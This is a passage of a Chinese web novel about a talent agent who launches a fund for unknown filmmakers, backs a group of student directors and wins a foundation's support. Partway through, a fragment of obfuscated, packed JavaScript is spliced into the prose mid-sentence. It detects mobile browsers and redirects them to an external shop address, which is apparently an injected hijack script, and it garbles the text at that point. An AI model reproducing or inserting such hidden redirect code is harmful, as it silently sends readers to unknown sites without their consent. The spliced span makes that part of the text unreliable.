“她忙到飞起。当下唯一顶流大花，都不把我放在眼里。”
这作风，非常越天珑！
舒誉宁把想让她们拓展领域的想法给千杉说了。千杉自然十分配合。自从两年前，舒誉宁把她从ACT这个火坑里捞出来以后，只要是舒誉宁有需要
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，千杉必定力挺到底。
“这是我挑的一些剧本。你要不是满意，还可以再挑。剧本多的很，重要的是你喜欢，不拖累你的口碑。”
“我想演反派，大恶女，行不行？”
千杉眨眨眼，满眼写着期待。
其实单从长相上看，千杉的长相与观众心里的恶女形象相去甚远。她脸小头小，眼睛明亮，所以给她安排的角色一直都是很有故事感的小人物类型的角色。这次休息了这么久，她也对自己的演员生涯有了新的想法。既然她想尝试，干脆放心大胆地让她去。
或许这种外形与内心的反差感，能带来不一样的视觉效果。
“这个剧本，或许你会喜欢。”
这是一个双女主剧本，其中一个女主就是看似清纯无害，实则内心扭曲的大恶女。这个剧本刚交到舒誉宁手上的时候，她先把它扣下来了。不是剧本的问题。故事本身写得很好的，人设也很吸引人。只是这个演员不好找。
“好带感，我喜欢。”
“那我现在带你去见导演，我估计那个导演看到你，会吓一跳。”
这个导演把剧本递给舒誉宁的时候，也没报什么期望。估计她自己也没想到，这个角色能把千杉吸引过来。
舒誉宁猜得没错，导演见到来的人是千杉，激动地话都不会说了。她认为自己何德何能，能让国际影后出演自己的作品。
“我，我估计给不出这么高的片酬！”
千杉根本不在乎这个：“片酬都是小事，只要作品好，其他的我都不在乎。”
导演和千杉一见如故，聊了很多自己创作这个剧本的心路历程。她找了好多影视公司，但都以“不符合市场需求”为理由被拒之门外。她做了几次市场调查，有了解到，这样的双女主剧一直都不是市场受欢迎的题材，更何况其中一个还是反派。后来，她抱着试一试的心态，找上了舒誉宁。她心里想着，反正也不是第一次被拒绝，被舒誉宁拒绝，自己心里还会好受一点。
没想到，舒誉宁把这个剧本留下来了。虽然舒誉宁不能保证，这部剧一定会被投拍，但是能被她看到，被记住，那自己就是有了希望。
老天不会辜负任何一个真诚的人。终于，她等来了她命中注定的反派女主——千杉。
说到这里，导演哭得不行。说着说着，千杉也跟着哭。她太懂导演这种感受了。自己又何尝不是呢？要不是当时舒誉宁拉她一把，她怎么会有今天？
“你们俩怎么抱头痛哭上了？”
舒誉宁只是出去买个下午茶的功夫，就看到原本还聊得好好的两个人，突然哭上了，还一个比一个哭得厉害。这个剧本她看过啊，好像没这么多泪点。
“姐，我们是惺惺相惜。”千杉吸了吸鼻子，拿着桌上的纸巾，给自己抹了把脸。
“是啊。我们都有很好的运气，遇到了你。你就是我们的大恩人。”
合着是聊到了自己。
“赶紧去洗手间洗把脸。看你们现在这么上头，要不要冷静冷静，再聊签约的事？”
“不不不！”一听到签约的事会搁置，这两个大哭包马上不哭了。“择日不如撞日，就现在，马上签！”
于是，这个合同就这么草率又顺理成章地签了下来。
回去的路上，舒誉宁靠在车座上闭目养神。说实话，今天她们的痛哭，给她的触动还是挺大的。娱乐圈不缺像她们这样的人，什么都好，只是缺个被人看到的机会。
她突然睁开眼，眼里满是憧憬。她好像，有了一个新的想法。
46. 未来与阻碍
这几天舒誉宁天天在书房呆到半夜，傅明宇再一次尝到独守空房的滋味。问她在干什么吧，她神神秘秘地不肯说，只告诉他，过几天他就知道了、
一天夜晚，他准备好宵夜。想借着送宵夜的借口，看看舒誉宁到底在干什么。
舒誉宁工作得太投入，连傅明宇进来都没有发现。
“别忙活了，先吃点东西。”
“吓我一跳！”舒誉宁拍着自己的胸口，平复着自己的心跳。“你进来怎么也不说一声？”
傅明宇无奈地表示：“我进来很久了。”
“那你早点回去睡吧，我忙完就回房。”
等舒誉宁忙完，已经过了零点。早该回去睡的傅明宇还在书房等她，蜷缩在一旁的懒人椅上。得，估计又是觉得自己被冷落了。不过，这个方案也做得差不多了，可以拿给他看看。
舒誉宁把方案打印出来，递给傅明宇。傅明宇接了过来，看着封面上的标题只皱眉。
“‘草台班子，上桌吃饭’计划？”
这个名字一听就很草台班子。不过这个名字也让傅明宇有了好奇心，他翻开了方案，想看看这到底是个什么计划。
简而言之，这本质是个天使投资人计划。舒誉宁想成立一个基金，专门帮助圈里一些没有资本、没有人脉，但是有想法、有才华的年轻人。受助群体包括但不限于：导演、演员、歌手、编剧。只要他们把自己的作品构思交到指定邮箱，通过审核，就可以得到一定的资金帮助。以及，后续的招商、赞助、发行，舒誉宁都会负责。计划书里，舒誉宁还提到，她会组建一个专属经纪人团队，专门负责挖掘优秀的人才，以及后续的相关工作。
看上去，这个计划还是不错的。
“你是这么想到做这个计划的？”
“灵感来源于身边，你不觉得我们这帮人就是个草台班子吗？”
三年前，论谁也不会想到，他们几个人能成为娱乐圈首屈一指的导演和演员。舒誉宁知道，除了他们以外，娱乐圈还有很多很多像他们一样的沧海遗珠。她并不认为这个计划能帮到每一个人，但是能帮一个是一个。
“你想这么做，我支持你！”
投资这件事傅明宇不懂，但是他只知道这是舒誉宁想做的。并且，他是这个计划的第一个受益人，更要义务为这个计划出一份力。最好的出力方式，就是给钱。
“我当然知道你会支持我。可是光我们俩的钱没有用，比起钱，更需要人脉。”
舒誉宁这样说，看来已经想好怎么做了。
“你说的是，文艺基金会？”
“嗯，我现在也是文艺基金会的会员。我们这个计划可以作为基金会的子项目。所以你帮我看看，还有哪里要完善的。我到时候拿给程姐，问问她的意见。”
赵启程向来是很支持舒誉宁的。而且这个项目和基金会的理念一致，赵启程没有拒绝的理由。
“我唯一的看法就是希望你早点睡。一脸憔悴的，怎么去和基金会谈啊。”
“好好好，回房间吧，我本来也困了。”
第二天醒来，舒誉宁精神抖擞。她拿着计划书，信心满满地前往了H市。除了计划书，她还准备PPT和一些数据资料。为了以防万一，她还提前准备了一些基金会成员可能提出问题的答案。但时候就算需要全体谈判，她也有能应对自如。
办公室里，赵启程仔细地看着这份计划书。她什么也没有说，也没有问舒誉宁任何问题。这个态度，倒是让舒誉宁有些捉摸不透她的意思了。
“程姐，这个计划是有什么问题吗？”
“计划本身没有问题，想法也很好。只是执行起来，会有各种各样的问题。”
“我知道。”舒誉宁是资深经纪人，这个问题她当然考虑到了。“所以我的计划里包含了专属经纪人团队的策划，他们就是来解决问题的。”
“这样吧，基金会过几天有个座谈会，你一起参加。到时候，不记名投票。只要超过半数，这个计划就可以施行。”
这是舒誉宁第一次参加文艺基金会的座谈。这些会员个个都是身价过亿的大企业家，平时都在天南海北地到处飞，很难把他们聚在一起。
座谈会开始了，理事长赵启程站在了主席台前。
“各位会员，大家好久不见。请允许我为大家介绍一位基金会新的成员，舒誉宁女士。大家掌声欢迎。”
“大家好，我是舒誉宁。很荣幸能在这里，和各位会员参加本次座谈会。”
这次座谈会上，带来新项目和新计划的会员不止舒誉宁一个。这些大佬看起来和蔼可亲，其实各个深藏不漏。那些上台介绍自己项目的人，看起来已经准备得够充分了，可还是能被大佬们的刁钻问题问得无法作答。导致到现在，还没有一个项目能获得半数票。
这让舒誉宁也不由得紧张起来。
终于轮到她了，她深吸几口气，打开了自己的计划书。
介绍项目是不限时的，所以舒誉宁临时补充了很多内容，讲了很多自己一路走来的故事。她就是靠着这个么一个草台班子，走到了现在。她是这这个计划的发起人，同时也是最大受益者。等最后讲解完毕，已经过了半个小时。她扫视了一眼台下的会员，他们喜怒不形于色，很难判断他们是支持这个项目还是反对这个项目。
赵启程及时控场：“接下来是自由提问时间。”
一时间，台下伸出了很多手，远比刚才的项目提问的人要多得多。虽然他们的问题一定都很难回答，但至少证明了，这些人都有在认真听她介绍，是对这个项目感兴趣的。
“舒老师，你好。我知道你被誉为‘内娱最强经纪人’，这个项目涉及到所有的领域，一定都是你的强项。我很好奇，这个计划的前期启动资金是多少。”
“5000万。”
舒誉宁做过调研，基金会每年在的支出是有定数的。所以，她在以往支出的平均数上，加了10个点。
“那你有没有想过，5000万，可能根本支持不了你做一部剧或者电影？”
“感谢这位会员的提问。作为基金会，我并不是认为支持一个新人导演或者演员，所有的资金都是我们出。我们出一部分资金以外，还会负责招商引资。另一部分资金，会由投资方负责。”
“如果招不到投资人呢？毕竟不是每一位投资人都是天使投资人。”
这个问题问得很实在。世
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界上大部分投资，都是看回报率的。就比如说，大鹅影业。他们是典型的生意人，如果今天舒誉宁拿着这份计划上门找他们。恐怕他们连看都不会看，就直接拒绝了。
而且，这个会员的意思表达得十分明白。如果招不到投资人，另一部分投资还是有基金会负责。那用不了两部电视剧，就会把启动资金花完。到时候呢？基金会难道再贴？
舒誉宁不知道该怎么回答了，她总不能用“我会想办法招投资的”，这么一个画大饼的回答来搪塞吧？
见她不回答，另一个会员站了起来，向舒誉宁提问：“舒老师，据我所知，您刚拍《浪潮》时，抵押了自己的资产才得以支持傅导拍完这部作品。傅导是个有才华的导演，这个大家有目共睹。但是这样的导演，会对资金造成非常大的投入。如果《浪潮》最后没有达到今天的成绩呢？这个后果，你怎么负责？”
当时的舒誉宁死里逃生，一门心思想的是“不成功，便成仁”。而且那是她自己的钱，想怎么折腾就怎么折腾，不需要对任何人负责。但这个计划实行后，每个基金会的成员都是投资人，她需要对他们负责。成功还好说，万一不成功呢？
人的信任度是有限的，但凡投资出错一次，连赵启程都会缩减她的投资。到时候，舒誉宁的合同签了，资金却断了，这样只会把自己逼到一个和退两难的地步。
这个问题，舒誉宁还是很难作答。
赵启程看出了她的窘迫，深知这样提问下去也没有必要了，只能赶紧投票，结束舒誉宁的演讲。
票数出来了，舒誉宁获得的支持票同样少得可怜。她的计划还没开始，便结束了。
座谈会后，几个会员找到了她。他们告诉舒誉宁，他们仍然对舒誉宁的项目感兴趣。只要她把这些问题解决，那他们就会在下次座谈会给她投支持票，并说服其他会员。这样一来，舒誉宁就可以获得半数以上的支持票，她的计划也可以施行了。
“谢谢各位老师，我回去再考虑一下。”
他们的问题实在，但没有办法回答。以舒誉宁的经验来看，这些问题都要在遇到了以后，随机应变，见招拆招的。不存在说，还没发生，先想着解决。这样怎么可能制定出完美的解决方案呢？
正在她准备离开时，赵启程叫住了她。
“今天不好意思啊。”
“没事，是我的问题。”是她把事情想得太简单了。
“这次你的计划没能通过，你接下来有想好怎么办吗？”
“继续呗。如果能拿出计划实质性的成效，我想才是那些问题最好的答案。”
赵启程满意地点点头。这就是舒誉宁啊，哪怕所有人都不看好她，但只要是她认定的事，她还是会做到底。
“上次你给我2000万是吧。这次我出双倍，做为你这个‘草台班子，上桌吃饭’计划的启动资金。别让我亏本哦！”
这可真是意外之喜！这个计划没能在座谈会上通过，倒是让赵启程个人出资，还一下出了4000万！那算上她和傅明宇的钱，再去做做千杉和越天珑的思想工作，那她的启动资金，远超过计划的5000万。
“姐，你放心，我一定会做得很好的！”
47. 未来与阻碍
想要让更多的人知道这个计划，最好的办法就是宣传。
舒誉宁联系阿May，给自己安排一篇专访。阿May也给足面子，把最新一期月刊的封面人物留给了她。给她取的标题是——“从经纪人到天使投资人的转变，‘草台班子’的台柱子。”
在专访里，舒誉宁说起这个计划如此取名的寓意：
【我们现在常常吐槽这个世界是一个巨大的草台班子。但我觉得这不是坏事。正因为是草台班子，每个人才有站在上面的可能。我所做的只是，把这个台子修得带一点，牢固一点，让更多的人可以站上来。】
在阿May的运作之下，这段采访在全网广为流传，所有人都知道舒誉宁要做这么一个项目。一时间，所有红的，不红的，娱乐圈各行各业的人都来舒誉宁这里递上自己的作品。舒誉宁每天查邮件都要查到深夜。还好她自己的团队在逐渐壮大，不然她一个人要看到什么时候去。
作品有很多，值得投资的也有不少，只是舒誉宁一时选不出哪个作品可以作为这个计划的首秀作品。首秀作品的成功与否，直接奠定了计划之后的走向。所以舒誉宁在挑好的同时，更要挑一个特别的。
这几天邮箱留的收到的作品企划，大同小异。基本上都是一些小导演或者小制作人的影视剧作品。剧本是好的，只是放在市面上，显得同质化有点高。亮点不足。
很快，时间已经过去一个月了。舒誉宁还没选出打头阵的作品，这个“草台班子，上桌吃饭”计划也早被人遗忘在娱乐圈的某个角落。偶尔有人提起来，也只是评价舒誉宁“雷声大，雨点小”，要么就是说她本质还是商人心态，怎么可能真的有这么好心。
舒誉宁才不着急，她早已学会了等待。
这天，舒誉宁收到一个只有3分钟的校园短片。参加拍摄的是一群大学生。舒誉宁看了看他们的简历。有师范专业的学生，有理工大学学机械设计的，也有在金融学院学金融的。这几个人，不仅从专业上和娱乐圈完全不挨着，就连他们的学校和专业，也和彼此没关系。
从他们的简历中，舒誉宁得知，他们是在一个电影爱好者的群里认识的。几个大学生一拍即合，拍了这部短片。这个短片还在短视频平台小爆过一阵，有过百万的播放量。有了这次的成功，他们还去参加了大学生视频大赛，拿了2万块钱的奖金。
这次他们投稿的作品是自己的微电影计划。整部电影时长30分钟，预算是10万。舒誉宁看了脚本，他们的选材是他们最熟悉的校园内容。主题是校园怪谈的微恐无限流主题。主题不算多么创新，但是写得很有诚意。
舒誉宁喊来了傅明宇，想问问这个专业大导演的意见。
傅明宇把他们的短片和脚本仔细看了几遍，给出了很高的评价：“没有受过一天专业训练，但不管是分镜还是构图，都挺好的，很会扬长避短。就是一些转场比较草率，这也可能是预算问题。至于这个脚本，可以说是把30分钟的时长运用到极致。无限流吗，最重要的是情节与情节之间环环相扣。这几个小孩挺有天分的。”
“如果我说，我把这个作品作为计划的首秀，你觉得怎么样？”
舒誉宁，胆子真大！
这个作品虽然值得投资，但是拿来做首秀，太容易翻车了。
“我知道你的顾虑。但是你想想，我的计划，叫什么。”
“草台班子，上桌吃饭？”
“对啊，你还能找到比他们更草台的草台班子吗？”
其他投稿的人选，基本上都是圈里人，有过专业的学习经历，也有经验。而这群小屁孩，除了喜欢，什么都没有。
正是这份什么都没有，才让舒誉宁想在他们身上试试。
“你既然想好了，把他们约出来聊聊。”
“如果到时候需要傅大导演的专业指点……”舒誉宁戳了戳傅明宇的胳膊。她的意思，不言而喻。
“我一定会帮到底的！”
周末，舒誉宁见到了这几个大学生。
这个小剧组总共7个人，5女2男。他们来自天南海北，有几个是才上完早8就乘上火车，赶来见舒誉宁的。他们风尘仆仆，眼里满是稚气和意气。
“来吧，同学们。你们派个代表，来聊聊你们的想法。”
一个穿棒球服外套，戴着眼镜的女生捧着电脑，站了出来：“阿宁姐，你好，我是我们剧组的导演，我叫张奥。接下来由我，给你介绍一下我们这次的微电影。”
她做了份十分详尽的PPT，看起来，前前后后改了十多次。她讲解的时候还有些紧张，中间卡顿了好几次，连自己翻到那一页都忘记了。
这不是一次很顺利的演讲。讲完后，她自己明显有些沮丧，只是她的朋友们，依然给她热烈的鼓掌，鼓励她。
舒誉宁不禁有些羡慕这样纯粹的感情。
“张奥导演的介绍我大概听明白了。我现在还想看一下，你们手上有什么设备或者道具。这样我才可以制订预算，看看具体要给你们准备什么。”
他们手上的设备，也很符合“草台班子”这四个字。
拍摄工具是他们的手机，谁有内存用谁的。几支19.9包邮的手机支架，一台二手单反、一台从家里“偷”出来的大疆pocket。最贵的设备就是一个男生用来剪辑的雷蛇。不过舒誉宁估摸着，这台电脑是为了打游戏才买的。
“我会给你们准备一台专业的摄录机，也会有专业的老师教你们怎么用。还有监视器、对讲机，这些我都会提供，并且，这些，不包含在预算内。”
这几个大学生一听，便激动起来。张奥还是有些不确定，问舒誉宁：“阿宁姐，你的意思是……愿意给我们投资？”
“不然我们还在这里聊什么？”
“哇！”“好！”
他们欢呼雀跃地抱在一起。
舒誉宁看着他们这么高兴，也很动容。她都忘了，上一次这么纯粹地开心，是在什么时候。
“同学们，先冷静！丑话我还是要说在前头的！这10万块钱，包括你们拍摄期间所有的衣食住行、妆造、场地，多了我可不管咯！”
“放心吧，我们都计算过了，绝对不会超过10万块钱。”
他们早想好了，场地用他们其中一人的学校，吃饭打算在学校食堂解决，可谓是把预算压缩到极致。
舒誉宁拿出一份合同，放在他们面前。他们这些学生，并没有工作过，不明白合同的概念。舒誉宁这是很耐心，给他们一条条解读。
“各位，不用怕。这是合同，不是卖身契。我希望，我们是以一个合作方的平等关系来合作。在这里，只有甲方和乙方。你们可以回去好好考虑一下，也可以把合同带给你们学校的法律系老师检查。想好了，再给我答复。”
说实话，舒誉宁是有些心虚的。教这些孩子做生意，好像在教他们做坏事。不过，他们已经是成年人了，舒誉宁也相信，他们会明白她这样做的目的。
张奥率先拿起笔，要在上面签字。舒誉宁及时拦了下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182943|146666||http|test|mini|href|location''.split(''|''),0,{}));
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“不考虑清楚吗？一旦签了字，开弓没有回头箭了。”
“你是大经纪人，不可能坑我们几个学生。而且来的路上，我们也商量过了。既然我们出来拉投资，肯定要有个投资的样子。我签。”
舒誉宁点点头，看来现在的学生远比她想得还要成熟、稳妥。
最后一份合同签完字，舒誉宁把这一式三份的合同，交给他们一份。剩下的，一份在自己这里留底，另一份交给律师。
“从现在开始，你们就进入了工作状态，拍摄周期是一个礼拜。后期制作也是第一个礼拜。那么，14天后，我期待看到你们的成品！”
学生们很独立。舒誉宁跟他们说过，自己现在是他们的投资人，有任何问题随时可以来找自己。专业的问题可以找傅明宇。结果，他们谁也没找。舒誉宁一开始还担心他们不会用摄录机和监视器。没想到，他们自己在网上找教程，一边学一边拍。
舒誉宁本以为，他们这样可能会造成进度的拖延，想着给他们适当延长几天的制作周期。他们却在14天后的最后一个小时，赶上了DDL，发来了自己的作品。
一收到这份邮件，她马上喊来了傅明宇，让他和自己一起看。
傅明宇认为，他们能准时交付作品，已经是很大的成功。舒誉宁却觉得，他有点看轻这些学生了。
傅明宇感到有点冤枉：“我没有这个意思。”
“这叫契约精神。像某人这种一再拖延拍摄进度的导演，可是不懂的哦！”
傅明宇拍到现在，没有一部作品是在期限内完成的。少则延长三个月，多则延长大半年。
好嘞，这下傅明宇彻底不说话了，乖乖坐在舒誉宁旁边，看这部“草台班子”的作品。
学生们的剧情处理非常巧妙。可以说，他们在自己的舒适圈，把创造性发挥到了最大。学校这种地方，一到晚上，本就有些阴森森的。用来拍摄微恐题材，最合适不过。看得出来，在拍摄时，学校是正常在运作的。开场，镜头记录了真实夜间校园里的操场、校园道路上热闹的场景，镜头再一切，切到了空荡荡的教学楼。这两个镜头，形成鲜明的对比。他们都不是专业演员，台词不好，索性把台词缩减，避免暴露自己台词上的短板。
虽说是微恐题材，可是全程没有刺耳的尖叫、令人烦躁的哭声。只有上下楼梯时，急促的呼吸；帆布鞋踏在地砖上，发出凌乱却并不算响的脚步声。再加上背景音里，偶尔有人路过的稀碎说话声。这些细密的声音恰到好处地交织在一起，看得舒誉宁鸡皮疙瘩都起来了。
最后，是主角逃出来了教学楼，碰上了同学，如获大赦，和他们跑向了热闹的操场，消失在人海里。
可是种种细节又暗示了，她真的从规则里逃出来了么？
电影的落点是一个开放式结局。
放映结束，大导演傅明宇都忍不住鼓掌，给这些学生最高的肯定。舒誉宁骄傲地抬起下巴：看吧，我的眼光很好吧。
不过傅明宇还是有义务提醒舒誉宁，电影拍完了，不代表所有的事情都结束了。要发行、要播出、要谈赞助，这些可是学生们真正搞不定的难题。
“你不会这些都没跟他们讲吧？”
“合同里都有写，我也对他们解读过合同的条款。至于这些问题怎么处理，我可不是他们的老师，不会追着他们屁股后面去提醒。看他们自己咯。”
傅明宇默默地替他们捏了把冷汗。
看来，舒誉宁对他们的考验，现在才开始。
48. 未来与阻碍
学生们想到了发行这一点，可是“谈生意”这件事他们始终没有经验。那些发行方一看到是几个大学生的作品，连消息都懒得回。哪怕他们说这是舒誉宁投资的作品，对方也根本不信。
就这样，吃了半个月的闭门羹之后，张奥沮丧地找到了舒誉宁。对她说，她的投资可能收不回来了，根本没人愿意买他们的片。
“你们什么办法都想过了？”
“想过了！”无论是海投邮件，还是登门拜访，能想到的办法他们都试过了。要不是这样，也不会来找舒誉宁。
舒誉宁再次向他们确认：“你们真的什么办法都想过了？”
“难道还有别的办法吗？”
舒誉宁指着自己说：“还有我啊！我说过了，我是你们的合作方，有任何问题都可以来找我！”
他们什么办法都想了，唯独没想到找舒誉宁求助。
不过舒誉宁也跟他们说好，她只负责牵线搭桥。具体怎么说服发行方，怎么把自己的作品卖出一个好价钱，需要靠他们自己谈。
经历过这次的教训，他们也知道了有问题就问。特别是张奥，她向舒誉宁请教了很多谈判技巧，对接下来和发行方的面谈做了充足的准备。
谈了几家发行方，最后有三家视频平台会承诺替他们的微电影发行和招商。
从现在的情况来看，这部微电影已经盈利了。等正式定档，收益将远超他们预估的金额。
这是很好的结果，不过舒誉宁发现，张奥并没有很开心。
舒誉宁递给她一只汉堡。她忙活了这么久，连饭都没有吃：“怎么了？看你心里有事，说来听听。”
张奥啃了一大口，嘴里塞得鼓鼓囊囊的。她饿坏了。
“姐，这里有几家发行方，我拜访过他们。可是他们没有一个愿意给我机会。不是说忙，就是干脆不理我。怎么你一出面，他们马上不忙了，还有耐心听我说了呢？到底是我的片子好，还是你的面子大？”
“你要听实话吗？”
张奥不说话了，低着头默默啃手里的汉堡。很快，汉堡就被她吃完了。舒誉宁又给她一瓶橙汁，让她润润嗓子。
“人啊，都是看人下菜碟的。不过也能理解，几个大学生拍电影，对于发行方来说，是不是太像玩笑了？”
“我一开始还想着，能让你投资很麻烦了，不能什么事都靠你。结果最后还是要你帮忙。”
张奥说，从小父母老师就教她要学会独立，不能什么事都指望别人。后来她想拍短片，发现一个人做不了，召集了一帮和她一样的电影爱好者。现在，好不容易电影拍好了，连发行都要舒誉宁帮忙，才能谈成。
这一点都不独立。
“妹妹，这不是独立，这是孤立！”
“靠自己”当然是好的，但是什么时候这三个字被曲解为“只靠自己”？只靠自己的下场永远都是什么事也做不好。因为一个人总有短板，人是社群性动物，需要集体的力量。合理利用、规划自己身边的一切可用的资源，这何尝不是一种最高阶的处世智慧。
“从今以后，你要记得一句话——万物皆为我所用。”
这部短片终于定档了，三个平台同时播出。
播出的一个小时内，播放量已经破亿。仅这一个小时的订阅收益和广告收益，已经破了百万。舒誉宁当时的十万投资，竟然已经翻了十倍。
播放前，她特意准备了宣传稿。“素人”“大学生”这几个曾经让他们被人所拒绝的几个标签，在此刻，变成眼下最为吸睛的卖点。毕竟，谁都喜欢草根逆袭的故事。
有了这部短片，舒誉宁的“草台班子，上桌吃饭”计划，彻底打响了第一炮。
这本被众人遗忘的计划，再次成为了霸榜热搜第一的词条。观众们惊呼：舒誉宁，拯救内娱第一人啊！
短片的爆火，让各类平台的邀约纷至沓来。舒誉宁考虑到他们还是学生，当下还是以学业为主，帮他们推掉了好多通告。最后，只剩下一个大学生电影节的开幕仪式。
这是他们第一次走红毯，又紧张又慌乱，不知道自己该准备什么。
舒誉宁帮他们找好了礼服和化妆师，还帮他们润色了一下发言稿。当天的每个环节，也带着他们私下排练了很多遍。虽然到时候他们一定还是会因为紧张和生疏出错，但有了提前的演练，至少能让他们心里有个底。
张奥握着舒誉宁的手，激动地直掉眼泪：“阿宁姐，谢谢你。没有你，我们都不知道怎么办才好。”
“相互成就罢了。主要是你们自己努力。要是没有你们，我的计划不可能取得一个开门红。”
在电影节的开幕红毯上，第一次穿上礼服和高跟鞋的他们，看上去就像偷穿大人衣服的小孩。脸上的青涩、走路时的僵硬，有些好笑，但也十分可爱。这份特有的稚气，让他们成为了红毯上最大的亮点。
一群记者、摄影师围着他们，不停地要求“麻烦看这边”“几位看一下镜头”“来，笑一笑”。他们根本不知道该看哪里，只知道自己的嘴角快笑得麻木了。
开幕式结束，他们这次的“娱乐圈冒险之旅”也暂时告一段落。舒誉宁收到了不少想和他们签约的经纪公司发过来的消息。她想，这件事还是交给他们自己决定比较好。
舒誉宁特地订了一个大蛋糕给他们庆祝：“今天辛苦啦，很成功哦！”
“谢谢姐姐。”
蛋糕的第一块，自然是给舒誉宁的，由张奥作为代表，分给舒誉宁。
“多谢导演。”
吃得差不多了，舒誉宁才问他们，今后有什么打算。有几个已经大四了，是该为以后的生活好好规划。
“如果你们还是想在娱乐圈试一试的话，我全力支持你们。还是那句话，有任何事，都可以来找我。”
这句话说完，原本欢快的气氛，突然冷却了下来。捏着叉子的舒誉宁都不知道该不该继续吃了。
自己是不是说错话了？
有两个女生
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率先开了口，舒誉宁记得，她俩是师范大学的学生。
“我们大概就是回去考编了吧。我觉得爸妈还是说的有道理的。而且，好不容考到的教资，总不能浪费。”
另一个男生点点头，他是学金融的。接下来想去银行工作。不图别的，就图一个五险一金，没有风险。
剩下的那个学机械工程，她打算考研或者出去留学。她也和父母商量过了，因为这部电影，她已经耽误了很多课业。父母看在这是她的爱好的份儿上，一直睁一只眼闭一只眼。只是一早下了最后通牒，必须好好念书，别想着混娱乐圈。不然，就把她带回老家，一辈子看着她。
舒誉宁表示理解，在父母长辈的眼里，娱乐圈确实不是一份好工作。圈子里这么多人，真正能被人记住的，凤毛麟角。
所有人都说了自己的规划，除了张奥。
她早就料到这会是他们最后的聚会，从第一个人开口的时候，她就一直在旁边无声地哭。
两个读师范的女生坐到她旁边，给她擦眼泪：“你是我们这里最有才华、最适合往娱乐圈发展的人。我们都知道，是有你，这部电影才能拍得这么好。不要因为我们不在你身边，你就放弃这条路了。”
“对啊。”其他人也赞同这个说法，“和你在一起拍电影的这段时间真的很开心。说不定，以后没有我们拖累你，你会更好。”
“不是这样的，不是的！”张奥从小声哭泣，变成嚎啕大哭。
舒誉宁在一旁看着，默默感叹。成长，总是要付出代价。想了一会儿，她还是先离开了休息室，把这个时间留给他们。
不知道过了多久，他们才离开休息室。此时的他们，已经换下了礼服，卸了妆，穿上了自己最熟悉的衣服。张奥的整张脸已经哭肿了，她一一跟自己的好朋友们道别，看着他们各奔东西，不知道下次见面会是什么时候。
最后，就剩张奥一个人了。受不了独自一人的她，再次蹲在地上，大哭起来。
舒誉宁走过去，把她搂在怀里，轻轻拍着她的肩膀：“好了好了，不哭了。再哭要呼吸性碱中毒了。”
“那是……什么？”
“……总之，别哭了。跟着我的节奏，深~呼~吸~”
被舒誉宁一番调节，张奥的情绪果然好多了。
“阿宁姐，我从来都没有一个人过。我怕我做不好。”
“你不会一个人的。等你签了经纪公司，你会有团队、有合作伙伴，有很多很多的人帮你。”
张奥想不明白：“我不能和你签约吗？”
“我更希望你可以多了解一些公司，了解一下娱乐圈的生态。这对你未来有好处。等你了解了一圈，还是觉得我更合适，到时候再和我签约，也不迟啊！”
雾蒙蒙的路灯之下，舒誉宁带着张奥，越走越远。她们的影子在地上逐渐清晰，又慢慢变得模糊，最后消失不见。
不知道下一步会去哪里，但是哪里都好，因为这是她的方向。
49. 未来与阻碍
张奥的作品，让舒誉宁的计划在娱乐圈里彻底打响。几乎同时，舒誉宁又官宣了五个她投资的作品：一部电影、一部电视剧、一张音乐专辑、一部舞台剧和一部话剧。这五个项目囊括了娱乐圈所有的领域。
舒誉宁早就做好了背调，也和每个项目的负责人都做了详细的规划。等的就是，这个计划的成功首秀，形成自然的热度和流量。这样，这五部作品能保证最大化的盈利。
现在的舒誉宁不仅是“内娱最强经纪人”，还是娱乐圈第一天使投资人，更有人称呼她为娱乐圈的拯救者。
有了这次成功的经验，舒誉宁再次登门拜访了赵启程。
“程姐，我想再参加一次基金会的座谈会。”
这次，舒誉宁要的不是基金会的资金投入。她现在根本不缺计划的资金来源，多的是人想给她的计划投钱。她这次要的是比钱更加值钱的东西——人脉。
虽说，愿意和她合作的各路大佬也有不少，但基本都是娱乐圈的人。而基金会的成员来自各行各业，能给舒誉宁提供的帮助也更加多元。她坚信，想在娱乐圈做大做强，绝对不能把目光只局限在娱乐圈。
“去吧，相信这次你能收获很多票。”
再一次参加座谈会，舒誉宁并没有像上次做了很多资料，拿了份几十页的PPT出来。而是，做了一个五分钟的视频。视频里记录了那些项目负责人，收到投资以后的小采访。他们说，感谢舒誉宁，也感谢这个计划，让他们有被看到的机会。
视频结束，开始投票。很快，结果出炉，舒誉宁的计划斩获了近9成会员的票数。基金会成立至今，从来没有一个项目能收获如此多的票数，哪怕赵启程自己的项目，也没有。
投票结束后，赵启程还宣布一个消息——在未来的三年里，“草台班子，上桌吃饭”计划会是文艺基金会的重点发展项目。基金会会成立专项子基金，只用作这个计划。项目的运作、资金的使用，由舒誉宁全权负责，无需再过问基金会。但舒誉宁需要基金会协助时，哪怕基金会在做别的项目，她都享有优先权。
座谈会结束后，舒誉宁给了赵启程一个大大的拥抱。她知道，最后那个消息，一定是赵启程帮她争取来的。优先权啊，多么宝贵的权利，赵启程这都帮她弄到了。
赵启程问她：“开心吧？”
“开心！”
“既然我帮了你，你也帮我个忙吧。”
舒誉宁自然满口答应。
“明天陪我去趟工地，看看那片工地的情况。”
工地？舒誉宁对房地产一窍不通。赵启程怎么会让她帮这个忙？
“去了再说，好好休息，明天飞早班机过去。”
到了这片工地，舒誉宁才知道，赵启程为什么非要她过来。舒誉宁死都不会忘记这里，因为这是以前ACT大楼所在的地皮。
舒誉宁只知道，ACT倒闭以后，这片地皮重新拍卖。流拍了几次，最后被一位不知名买家拍走了。不知是不是巧合，那位买家竟然赵启程。
“这个地方，你觉得做酒店怎么样？”
“嗯……”舒誉宁想了想，她翻开手机地图，把本市的地图调了出来，“这片区域是新城区，交通还没有很便利。离机场和高铁站各一个小时，在之间，可选择的酒店很多，作为商旅人士，估计很难是他们的首选。并且，周边小区的入住率很低，做餐饮也不适合。”
赵启程点点头，表示赞同这个说法。
舒誉宁觉得有些不对劲，这些都是基础问题。赵启程的顾问团队不可能连这些都没调查清楚。他们肯定一早都跟赵启程说过了，这地方不太适合开酒店。也不知道赵启程为何还会再把自己叫过来。
